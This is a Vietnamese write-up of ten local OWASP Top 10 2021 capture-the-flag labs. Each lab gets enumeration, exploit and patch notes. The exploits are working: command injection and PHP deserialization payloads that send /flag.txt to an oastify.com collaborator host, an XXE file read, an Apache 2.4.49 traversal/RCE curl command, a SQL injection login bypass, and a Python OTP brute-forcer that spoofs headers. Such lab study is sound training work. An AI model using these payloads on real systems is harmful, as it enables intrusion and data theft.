> Tình cờ lướt FB thì thấy có một bài viết trong group WhiteHat share các [bài LAB](https://github.com/Forgebreaker/OWASP_Top_10_2021/tree/main) về top 10 OWASP 2021. Luôn tiện mình cũng đặt thử thách cho bản thân xem có thể hoàn thành hết được không :v Mục đích kiểm tra lại các kiến thức đã học trước giờ. ![image](https://hackmd.io/_uploads/S1aBr_WyR.png) ## How to SETUP: - Mình sử dụng Docker Desktop, có thể sử dụng Docker trong Kali,Ubuntu,... đều được - Làm bài nào thì truy cập đến folder bài đó ![image](https://hackmd.io/_uploads/SJ9LwlGJC.png) - Sử dụng command `docker compose up -d` để run - Sau khi run xong thì chúng ta sẽ kiểm tra Containers đã Running chưa ![image](https://hackmd.io/_uploads/HJijPefy0.png) Sau đó nhấn vào container vừa run đó để xem nó mở ở port nào, ví dụ ![image](https://hackmd.io/_uploads/HyGpDlfJR.png) Thì chúng ta sẽ truy cập vào `http://localhost:10010` ## 01. Broken Access Control ### Enumeration: - Trang web có 2 routes chính là login, và account (Sau khi login thành công) - Lỗi ở bài này nằm ở code trong account.php ![image](https://hackmd.io/_uploads/Bk_mOO-1R.png) Line 13 chỉ đơn giản là GET vào parameter `account_number` mà không check session của user đó có quyền xem các user khác không. ### Exploit: - Ở trang index, tác giả có đưa cho chúng ta một account `guest` ` <!-- Default Credential: guest/guest -->` ![image](https://hackmd.io/_uploads/SknTuu-yC.png) Sau khi login thì chúng ta sẽ tiến hành khai thác lỗi để check các user khác (Mục đính cuối cùng là lấy FLAG) với ID `8073` ![image](https://hackmd.io/_uploads/SkcbKdbyR.png) ![image](https://hackmd.io/_uploads/S1M8tubkC.png) ### How to patch: Gắn biến `accountNumber` của user cho session, nếu GET đến `accountNumber` != `accountNumber` của session thì không thể thực hiện. ## 02. Cryptographic Failures ### Enumeration: ![image](https://hackmd.io/_uploads/B16tytb10.png) Giống với bài lab trên, ta sẽ có user mặc định guest/guest - Mục tiêu của bài này là chúng ta cần login với account có ID là 8073 (account.html): ```php= if ($accountDetails && $_SESSION['user_id'] == 8073){ echo "<h3>Bounty_Boys{Captured_The_Flag}</h3><br>"; } ``` - Review qua src code, ta có thể thấy có thêm file [robots.txt](https://moz.com/learn/seo/robotstxt), nếu làm blackbox thì cũng có thể fuzz ra được. - Sau khi truy cập ta có đoạn nội dung bên trong file là: `/database.db` - Như vậy ta sẽ biết thêm một endpoint mới là /database.db ### Exploit: ![image](https://hackmd.io/_uploads/BJI8WYWk0.png) Sau khi truy cập chúng ta sẽ down được file db của bài về. Một chú ý nữa bên trong đoạn code index.php line 10: `$password = md5($raw_password);` - Password trong db chỉ lưu với mã hoá MD5, nếu có một số password đơn giản thì ta có thể crack. ![image](https://hackmd.io/_uploads/HJmWMYZkR.png) ![image](https://hackmd.io/_uploads/SkVMGK-k0.png) Sau khi crack ta có được account `bountyboys/power` ![image](https://hackmd.io/_uploads/rkxZmtZkC.png) ### How to patch: - Không lưu các file dữ liệu quan trọng có thể truy cập từ trang web(Lưu trong hệ thông) - Không sử dụng các mã hoá đơn giản cho mật khẩu, thêm salt,.. ## 03. Injection Flaws ### Enumeration: ![image](https://hackmd.io/_uploads/SkG0SKZJR.png) Bài này có một chức năng search ![image](https://hackmd.io/_uploads/rkNdLK-yC.png) #### Review source code: Ở bên trong file index.php có đoạn code bị dính lỗi command injection: ``` $search = $_GET["search"]; $command = "cut -d':' -f1 /etc/passwd | grep $search"; $returned_user = exec($command); ``` ### Exploit: File flag.txt được đặt ở root, ta có thể thấy ở file DockerFile: `RUN echo "Bounty_Boys{Captured_The_Flag}" > /flag.txt` Payload: ``` `curl http://839zy413x9ta4wlamcwdr5557wdn1c.oastify.com -d @/flag.txt` ``` Mình sử dụng Backtick `` để biến $search đó thực thi đầu tiên, sau đó mới đến command của author: cut ... ![image](https://hackmd.io/_uploads/ByAR9YZyR.png) Ngoài ra bài có 1 vul RXSS :v Tuy nhiên không liên quan tới bài lắm :v ![image](https://hackmd.io/_uploads/HkYmiFZJC.png) ### How to patch: - Sử dụng hàm escapeshellcmd cho các input ## 04. Insecure Design ### Enumeration: ![image](https://hackmd.io/_uploads/S1FU6kGJ0.png) Trang web có 2 chức năng chính: - POST ID là `CVE-170144` và OTP của ID đó thì sẽ lấy được FLAG - Có thể refresh OTP cho ID nếu như bị hết hạn. #### Review source code: ![image](https://hackmd.io/_uploads/B1rA6kM1R.png) Đoạn code trên thực hiện lưu IP từ user request vào redis, mỗi request từ IP đó sẽ giới hạn 5 lần trong 60s. Và OTP chỉ có 4 kí tự từ 0-9: ![image](https://hackmd.io/_uploads/H1r8CyfJC.png) ### Exploit: Để bypass việc giới hạn IP, chúng ta sẽ sử dụng thêm header `Client-IP` tạo ngẫu nhiên cho mỗi request brute fore Mình viết đoạn script sau, cái chính là tạo random các IP, và sử dụng thêm thread để việc brute nhanh hơn: ```python= import requests import socket import random import threading url = "http://localhost:4004/" def generate_random_ipv4(): addresses = set() while len(addresses) < 10000: # Generate a random IPv4 address ip_address = ".".join(map(str, (random.randint(0, 255) for _ in range(4)))) # Add the address to the set (to ensure uniqueness) addresses.add(ip_address) return list(addresses) def generate_numbers(): number_strings = [] for number in range(10000): # Convert the number to a 4-character string and append to the list number_string = str(number).zfill(4) number_strings.append(number_string) return number_strings def send_request(ip_address, otp): headers = {"Client-IP": ip_address} r = requests.post(url + "index.php", data={"id": "CVE-170144", "otp": otp}, headers=headers) if "Wrong OTP" not in r.text: print(r.text) return True return False # Refresh OTP requests.post(url + "generator.php", data={"id": "CVE-170144"}) # Generate random IPv4 addresses and numbers ipv4_addresses = generate_random_ipv4() otp_numbers = generate_numbers() # Define a function to handle sending requests in parallel def send_requests(start, end): for i in range(start, end): if i < len(ipv4_addresses) and i < len(otp_numbers): if send_request(ipv4_addresses[i], otp_numbers[i]): break # Define the number of threads num_threads = 100 # Divide the work among threads chunk_size = len(ipv4_addresses) // num_threads # Create and start threads threads = [] for i in range(num_threads): start = i * chunk_size end = (i + 1) * chunk_size if i < num_threads - 1 else len(ipv4_addresses) thread = threading.Thread(target=send_requests, args=(start, end)) threads.append(thread) thread.start() # Wait for all threads to finish for thread in threads: thread.join() ``` ## 05. Security Misconfiguration ### Enumeration: ![image](https://hackmd.io/_uploads/SJR79jZy0.png) Bài này gửi input qua phương thức POST và dữ liệu XML chứa tên người dùng vào form rồi gửi tới server thông qua AJAX. #### Review source code: Ở line 4 trong index.php: `$xml = simplexml_load_string($xmlString, 'SimpleXMLElement', LIBXML_NOENT);` Việc sử dụng tham số [`LIBXML_NOENT`](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php) sẽ dẫn đến lỗi XXE Injection. ![image](https://hackmd.io/_uploads/rkBhTiWkC.png) ### Exploit: Payload: ```xml= <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///flag.txt"> ]> <userInfo><clientname>&file;</clientname></userInfo> ``` ![image](https://hackmd.io/_uploads/HknIpob1C.png) ### How to patch: - Không sử dụng các hàm, hay tham số có khả năng load external entity. ## 06. Vulnerable and Outdated Components ### Enumeration: Trang web không có chức năng gì cả :v Ngoài một điều đáng chú ý là sử dụng `Apache/2.4.49 ` ### Review source code: Sau khi search về version này thì mình có thấy `CVE-2021-41733`, khai thác được cả 2 lỗi: Path traversal và RCE Tuy nhiên để RCE cần enable lại 2 chỗ trong file conf `httpd.conf` như sau: ![image](https://hackmd.io/_uploads/Bybs4pZyC.png) ![image](https://hackmd.io/_uploads/rJagBaZkR.png) ### Exploit: POC CVE: https://www.exploit-db.com/exploits/50383 Payload: ` curl http://localhost:6006/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -v --data 'echo;cat /flag.txt' -X POST` ![image](https://hackmd.io/_uploads/r1YwrTZJA.png) Hoặc ![image](https://hackmd.io/_uploads/S1EFSTWkR.png) `GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt ` ### How to patch: - Update version lên phiên bản mới nhất. ## 07. Identification and Authentication Failures ### Enumeration: Trang web có 2 chức năng: Register và Login Mục tiêu của bài là làm sao đó có thể authen với user `superuser` sẽ có FLAG: ```json= $users = [ 'superuser' => [ 'content' => 'Bounty_Boys{Captured_The_Flag}' ] ]; ``` ### Review source code: Phần follow code sẽ như sau: Khi gọi đến chức năng `Register` ![image](https://hackmd.io/_uploads/B18EZCbyR.png) -> Tiếp tục sẽ gọi đến hàm `register_user` ![image](https://hackmd.io/_uploads/rkSdZ0ZJR.png) Hàm này sẽ check username đã tồn tại trong file db hay chưa. Vậy lỗi xảy ra ở đâu :v - Sau khi register, thì line 60 kiểm tra: nếu username chưa được tạo thì sẽ xuống dòng 61, sau đó trim(loại bỏ khoảng trắng 2 đầu) rồi gắn vào session. - Vậy ý tưởng là sẽ tạo username = `superuser ` với một khoảng trắng ở sau, sẽ thoả mãn điều kiện chưa tồn tại. Sau đó session sẽ trở thành `superuser` ### Exploit: Request 1: ![image](https://hackmd.io/_uploads/Bkx7tMRZyR.png) Request 2, sau đó redirect tới get Flag: ![image](https://hackmd.io/_uploads/ByO5GCWJA.png) ### How to patch: - Sử dụng hàm trim ở input ## 08. Software and Data Integrity Failures ### Enumeration: ![image](https://hackmd.io/_uploads/rJIgHAZk0.png) ### Review source code: Sau khi input vào form, các giá trị sẽ gắn vào class Gun, và được lưu vào file theo session dưới dạng chuỗi serialized. Nếu như sử dụng button Show Guns, thì đoạn code sẽ gọi đến hàm `unserialize`, convert lại chuỗi ser của session của mình. ![image](https://hackmd.io/_uploads/rka1DRby0.png) Trong class `Resource` có gọi đến một hàm `system` dẫn đến việc bị command injection với unserialize nếu như attacker có thể control biến trong class Resource. ![image](https://hackmd.io/_uploads/Hk_8h0-1C.png) Trong đoạn code này, sau khi đọc file chuỗi ser theo session, thì $gun_data sử dụng hàm explode để convert thành các mảng bởi phân cách | Như vậy ta sẽ lợi dụng dấu | tạo thêm một chuỗi ser gọi đến class Resource. ### Exploit: Tạo đoạn ser với class Resource như sau: ```php= <?php class Resource { public $link; public function __construct($link) { $this->link = $link; } public function getgun() { return system("curl " . $this->link); } } $link = "http://fq9xa68djj7wvd1jyt9p7d90zr5ht6.oastify.com/?FLAG=`cat /flag.txt`"; $a = new Resource($link); $c = serialize($a) . PHP_EOL; echo $c . PHP_EOL; ?> ``` Sau đó request với payload vừa tạo được: ``` name=GunName&type=GunType";}|O:8:"Resource":1:{s:4:"link";s:71:"http://fq9xa68djj7wvd1jyt9p7d90zr5ht6.oastify.com/?FLAG=`cat /flag.txt`";}| ``` ![image](https://hackmd.io/_uploads/r168aRbkR.png) Cuối cùng thì gọi đến ?action=show để hàm unserialize thực thi ### How to patch: "You should never use unserialize on user input" ## 09. Security Logging and Monitoring Failures ### Enumeration: Như tên của challenge, thì bài này config lỗi dẫn đến lộ file log truy cập từ các user, bằng các truy cập vào endpoint /logs.txt ![image](https://hackmd.io/_uploads/H1bRSyMJA.png) Tuy nhiên để lấy được FLAG cần tìm đến vul khác ### Review source code: ![image](https://hackmd.io/_uploads/r1dM8JG10.png) Với query Sql này ở dòng 11, dẫn đến việc bị SQL injection. ### Exploit: ![image](https://hackmd.io/_uploads/BkAFUyfyR.png) - Có thể dump db để lấy FLAG, tuy nhiên chỉ cần biết username thôi cũng đủ để login. Bằng cách sử dụng payload `username=bountyboys' -- -&password=a` sẽ comment (vô hiệu hoá) đi đoạn password ở sau, query sẽ trở thành: `SELECT account_number FROM users WHERE username = 'bountyboys' -- -' AND password = '$password'`, như vậy sẽ login mà không cần password. ## 10 .Server-Side Request Forgery ### Enumeration: ![image](https://hackmd.io/_uploads/HkJD3JzkA.png) Ở bài này sẽ thực hiện gen ảnh ra từ content url chúng ta input vào. ### Review source code: Bài này khá tương tự bài lab 4, ta cần OTP để xác thực cho id là `CVE-170144`, tuy nhiên ở bài này, muốn lấy FLAG, thì cần ip truy cập từ mạng local: ``` $allowed_ip = '127.0.0.1'; $user_ip = $_SERVER['REMOTE_ADDR']; if ($user_ip !== $allowed_ip) { header('HTTP/1.0 403 Forbidden'); exit('You are not allowed to access this file.'); } ``` ### Exploit: Lợi dụng chức năng get content từ url của trang web, mình sẽ khai thác nó để request vào local một cách hợp lệ (SSRF) Request 1: Mình refresh lại OTP cho ID `CVE-170144` trước ![image](https://hackmd.io/_uploads/rk2OHlzyA.png) Request 2: Brute force OTP: `http://127.0.0.1/local?id=CVE-170144&otp=`, và không bị limit request từ ip: ![image](https://hackmd.io/_uploads/rJxPIxzy0.png) Mình tận dụng luôn Intruder của BurpSuite để bruteforce ![image](https://hackmd.io/_uploads/B1QFUxf1A.png) ![image](https://hackmd.io/_uploads/Bylj8lGJ0.png) ## Conclusion Cảm ơn anh [Hung Thinh Tran](https://www.linkedin.com/in/thinhtran-omnissiah) đã tạo ra các bài lab để mọi người học tập và trải nghiệm <3